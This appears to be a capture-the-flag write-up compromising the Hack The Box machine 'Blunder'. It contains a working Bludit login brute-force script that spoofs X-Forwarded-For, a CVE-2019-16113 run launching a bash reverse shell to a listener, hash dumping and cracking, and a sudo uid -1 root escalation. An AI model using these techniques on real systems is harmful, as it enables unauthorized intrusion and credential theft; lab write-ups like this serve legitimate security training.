gobuster

```
root@kali:~/HTB/Blunder# gobuster dir -u http://10.10.10.191/ -w /usr/share/wordlists/dirbuster/directory
-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.191/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/07 00:41:59 Starting gobuster
===============================================================
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/usb (Status: 200)
/LICENSE (Status: 200)
/server-status (Status: 403)
/%3FRID%3D2671 (Status: 200)
===============================================================
2020/06/07 01:21:08 Finished
===============================================================
```

dir listing enabled on /bl-kernel (found in source)

todo.txt

```
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
```

Bludit Brute Force Mitigation Bypass

OCTOBER 5, 2019

Merged **Remove use of headers that can be used to bypass anti-brute force controls** #1090

dignajar merged 1 commit into `bludit:master` from `rastating:bug/fix-brute-force-vulner…` on Oct 5, 2019

make a wordlist off of words on a website

```
cewl -w wordlists.txt -d 10 -m 1 http://10.10.10.191/
```

```
SUCCESS: Password found!
Use fergus:RolandDeschain
 to login.

root@kali:~/HTB/Blunder# python3 exploit.py
```

https://github.com/cybervaca/CVE-2019-16113

```python
import re
import requests

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = open('./wordlists.txt','r').readlines()

# Generate 50 incorrect passwords
#for i in range(50):
#    wordlist.append('Password{i}'.format(i = i))

# Add the correct password to the end of the list
#wordlist.append('adminadmin')

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password.strip(),
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password.strip(),
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break
```

privesc

https://github.com/bludit/bludit/issues/1081

```
root@kali:~/HTB/Blunder# python3 CVE-2019-16113.py -u http://10.10.10.191 -user fergus -p RolandDeschain -c 'bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1'"

BLUDIT PWN

 CVE-2019-16113 CyberVaca

[+] csrf_token: aa233dfc1ffa1f6f6c398c7bd53238b5c20bb8a8
[+] cookie: v17hmtfe58dkjsljckisodr9o0
[+] csrf_token: 09705ba1f602ad8e117af9ab0f4b1e2c5305263e
[+] Uploading vswoqjwv.jpg
[+] Executing command: bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1'
[+] Delete: .htaccess
[+] Delete: vswoqjwv.jpg
root@kali:~/HTB/Blunder#
```

```
root@kali:~/HTB/Blunder# nc -lvp 9000
listening on [any] 9000 ...
10.10.10.191: inverse host lookup failed: Unknown host
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.191] 51244
bash: cannot set terminal process group (1143): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ;s
;s
bash: syntax error near unexpected token `;'
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls
ls
bvvlcbvo.jpg
thumbnails
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$
```

Two users both directories readable

```
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Apr 27 14:31 .
drwxr-xr-x 21 root  root  4096 Apr 27 14:09 ..
drwxr-xr-x 16 hugo  hugo  4096 May 26 09:29 hugo
drwxr-xr-x 16 shaun shaun 4096 Apr 28 12:13 shaun
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ ls -la /home/*
/home/hugo:
total 80
drwxr-xr-x 16 hugo hugo 4096 May 26 09:29 .
drwxr-xr-x  4 root root 4096 Apr 27 14:31 ..
lrwxrwxrwx  1 root root    9 Apr 28 12:13 .bash_history -> /dev/null
-rw-r--r--  1 hugo hugo  220 Nov 28  2019 .bash_logout
-rw-r--r--  1 hugo hugo 3771 Nov 28  2019 .bashrc
drwx------ 13 hugo hugo 4096 Apr 27 14:29 .cache
drwx------ 11 hugo hugo 4096 Nov 28  2019 .config
drwx------  3 hugo hugo 4096 Apr 27 14:30 .gnupg
drwxrwxr-x  3 hugo hugo 4096 Nov 28  2019 .local
drwx------  5 hugo hugo 4096 Apr 27 14:29 .mozilla
-rw-r--r--  1 hugo hugo  807 Nov 28  2019 .profile
drwx------  2 hugo hugo 4096 Apr 27 14:30 .ssh
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Desktop
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Documents
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Downloads
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Music
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Pictures
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Public
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Templates
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Videos
-r--------  1 hugo hugo   33 Jun  7 04:53 user.txt
```

```
/home/shaun:
total 64
drwxr-xr-x 16 shaun shaun 4096 Apr 28 12:13 .
drwxr-xr-x  4 root  root  4096 Apr 27 14:31 ..
lrwxrwxrwx  1 root  root     9 Apr 28 12:13 .bash_history -> /dev/null
drwxr-xr-x 14 shaun shaun 4096 Nov 28  2019 .cache
drwxr-xr-x 11 shaun shaun 4096 Nov 28  2019 .config
drwx------  3 shaun shaun 4096 Nov 28  2019 .gnupg
drwxr-xr-x  3 shaun shaun 4096 Nov 28  2019 .local
drwxr-xr-x  5 shaun shaun 4096 Nov 28  2019 .mozilla
drwx------  2 shaun shaun 4096 Nov 28  2019 .ssh
-rw-r--r--  1 shaun shaun    0 Nov 28  2019 .sudo_as_admin_successful
drwxr-xr-x  2 shaun shaun 4096 Nov 28  2019 Desktop
drwxr-xr-x  2 shaun shaun 4096 May 19 15:14 Documents
drwxr-xr-x  2 shaun shaun 4096 Nov 28  2019 Downloads
drwxr-xr-x  2 shaun shaun 4096 Nov 28  2019 Music
drwxr-xr-x  2 shaun shaun 4096 Nov 28  2019 Pictures
drwxr-xr-x  2 shaun shaun 4096 Nov 28  2019 Public
drwxr-xr-x  2 shaun shaun 4096 Nov 28  2019 Templates
drwxr-xr-x  2 shaun shaun 4096 Nov 28  2019 Videos
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

Password:
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$
```

interesting privesc info

```
fstab entries
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
/dev/mapper/vgubuntu-root /               ext4    errors=remount-ro 0       1
/dev/mapper/vgubuntu-swap_1 none            swap    sw              0       0
```

```
root 1584 04:52 0:01 /usr/lib/upower/upowerd
```

```
whoopsie 1270 04:52 0:00 /usr/bin/whoopsie
```

```
shaun 1153 04:52 0:00 (sd-pam)
```

```
[+] Logged in User Activity
 07:17:57 up  2:26,  1 user,  load average: 0.11, 5.38, 4.55
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
shaun    :0       :0               04:52    ?xdm?   3:22   0.74s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu
```

```
[+] World Writeable Directories for User/Group 'Root'
   drwxrwxrwt 2 root root 4096 Sep  5  2019 /var/lib/BrlAPI
   drwx-wx-wt 2 root root 49152 Jun  7 07:15 /var/lib/php/sessions
```

```
[+] Logs containing keyword 'password'
    /var/log/bootstrap.log:Shadow passwords are now on.
```

```
/etc/debconf.conf:Filename: /var/cache/debconf/passwords.dat
/etc/debconf.conf:# databases, one to hold passwords and one for everything else.
/etc/debconf.conf:Stack: config, passwords
/etc/debconf.conf:# A remote LDAP database. It is also read-only. The password is really
/etc/apache2/sites-available/default-ssl.conf:            #       Note that no password is obtained from the user. Every entry in the user
/etc/apache2/sites-available/default-ssl.conf:            #       file needs this password: `xxj31ZMTZzkVA'.
```

snapd can be vulnerable to privesc if < 2.37

```
root 962 04:52 0:02 /usr/lib/snapd/snapd
```

```
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ snap version
snap    2.44.3
snapd   2.44.3
series  16
ubuntu  19.10
kernel  5.3.0-53-generic
```

Sadly its not below that version

going back to our home page I remembered theres the database file...

```
"admin": {
    "nickname": "Admin",
    "firstName": "Administrator",
    "lastName": "",
    "role": "admin",
    "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
    "salt": "5dde2887e7aca",
    "email": "",
    "registered": "2019-11-27 07:40:55",
    "tokenRemember": "",
    "tokenAuth": "b380cb62057e9da47afce66b4615107d",
    "tokenAuthTTL": "2009-03-15 14:00",
    "twitter": "",
    "facebook": "",
    "instagram": "",
    "codepen": "",
    "linkedin": "",
    "github": "",
    "gitlab": ""
},
"fergus": {
    "firstName": "",
    "lastName": "",
    "nickname": "",
    "description": "",
    "role": "author",
    "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
    "salt": "jqxpjfnv",
    "email": "",
    "registered": "2019-11-27 13:26:44",
    "tokenRemember": "89ffb719b887ad34eb2b03a36ef71cdb",
    "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
    "tokenAuthTTL": "2009-03-15 14:00",
    "twitter": "",
    "facebook": "",
    "codepen": "",
    "instagram": "",
    "github": "",
    "gitlab": "",
    "linkedin": "",
    "mastodon": ""
}
```


we have a hash with a salt

looking at install.php we also have

```
// File users.php
$salt = uniqid();
$passwordHash = sha1($adminPassword.$salt);
$tokenAuth = md5( uniqid().time().DOMAIN );

$data = array(
        'admin'=>array(
                'nickname'=>'Admin',
                'firstName'=>$L->get('Administrator'),
                'lastName'=>'',
                'role'=>'admin',
                'password'=>$passwordHash,
                'salt'=>$salt,
                'email'=>'',
                'registered'=>$currentDate,
                'tokenRemember'=>'',
                'tokenAuth'=>$tokenAuth,
                'tokenAuthTTL'=>'2009-03-15 14:00',
                'twitter'=>'',
                'facebook'=>'',
                'instagram'=>'',
                'codepen'=>'',
                'linkedin'=>'',
                'github'=>'',
                'gitlab'=>''
        )
);
```

tried cracking hashes for a while and nothing found ... the salt wouldnt cooperate ... BUT eventually i remembered theres bludit-3.10 so it should have a DB too

```
www-data@blunder:/var/www/bludit-3.10.0a$ ls -la
total 72
drwxr-xr-x  8 www-data www-data  4096 May 19 15:13 .
drwxr-xr-x  5 root     root      4096 Nov 28  2019 ..
drwxr-xr-x  2 www-data www-data  4096 Oct 19  2019 .github
-rw-r--r--  1 www-data www-data   582 Oct 19  2019 .gitignore
-rw-r--r--  1 www-data www-data   395 Oct 19  2019 .htaccess
-rw-r--r--  1 www-data www-data  1083 Oct 19  2019 LICENSE
-rw-r--r--  1 www-data www-data  2893 Oct 19  2019 README.md
drwxr-xr-x  7 www-data www-data  4096 May 19 10:03 bl-content
drwxr-xr-x 10 www-data www-data  4096 Oct 19  2019 bl-kernel
drwxr-xr-x  2 www-data www-data  4096 Oct 19  2019 bl-languages
drwxr-xr-x 29 www-data www-data  4096 Oct 19  2019 bl-plugins
drwxr-xr-x  5 www-data www-data  4096 Oct 19  2019 bl-themes
-rw-r--r--  1 www-data www-data   900 May 19 11:27 index.php
-rw-r--r--  1 www-data www-data 20306 Oct 19  2019 install.php
```

Also a git file!

```
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}
```

216361726f6c796e this is the only thing weve seen so far which has resembled a word... !carolyn

```
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: SHA1
Hash.Target......: faca404fd5c0a31cf1897b823c695c85cffeb98d
Time.Started.....: Sun Jun  7 03:42:10 2020 (4 secs)
Time.Estimated...: Sun Jun  7 03:42:14 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  3648.5 kH/s (1.84ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 3094/14344385 (0.02%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: $HEX[21217265626f756e642121] -> $HEX[042a0337c2a156616d6f732103]
```

went to an online tool and we get

faca404fd5c0a31cf1897b823c695c85cffeb98d	sha1	Password120

Got User!

```
www-data@blunder:/var/www/bludit-3.10.0a/bl-kernel$ su hugo
Password:
```

```
hugo@blunder:/var/www/bludit-3.10.0a/bl-kernel$ cat /home/hugo/user.txt
7e8014cc4a2c3086c80fc60fe86698a6
```

```
hugo@blunder:~$ sudo -l
Password:
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
```

```
hugo@blunder:~$ ls -la /usr/local/sbin/visudo
-rwxr-xr-x 1 root root 800232 Apr 27 13:52 /usr/local/sbin/visudo
hugo@blunder:~$ /usr/local/sbin/visudo
visudo: /etc/sudoers: Permission denied
hugo@blunder:~$ sudo /usr/local/sbin/visudo
Sorry, user hugo is not allowed to execute '/usr/local/sbin/visudo' as root on blunder.
hugo@blunder:~$ sudo -u shaun /usr/local/sbin/visudo
Sorry, user hugo is not allowed to execute '/usr/local/sbin/visudo' as shaun on blunder.
hugo@blunder:~$ sudo -u shaun /usr/local/sbin/visudo
```

root privesc lies here:

```
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
```

if I can run /bin/bash as anyone who isnt root... apparently I can run it as an invalid uid and get root!

```
hugo@blunder:~$ sudo --version
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1
hugo@blunder:~$ sudo -u#4294967295 /bin/bash -u
bash: SUDO_PS1: unbound variable
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
e672b4ba2fe91a8937e7db1885e1822d
```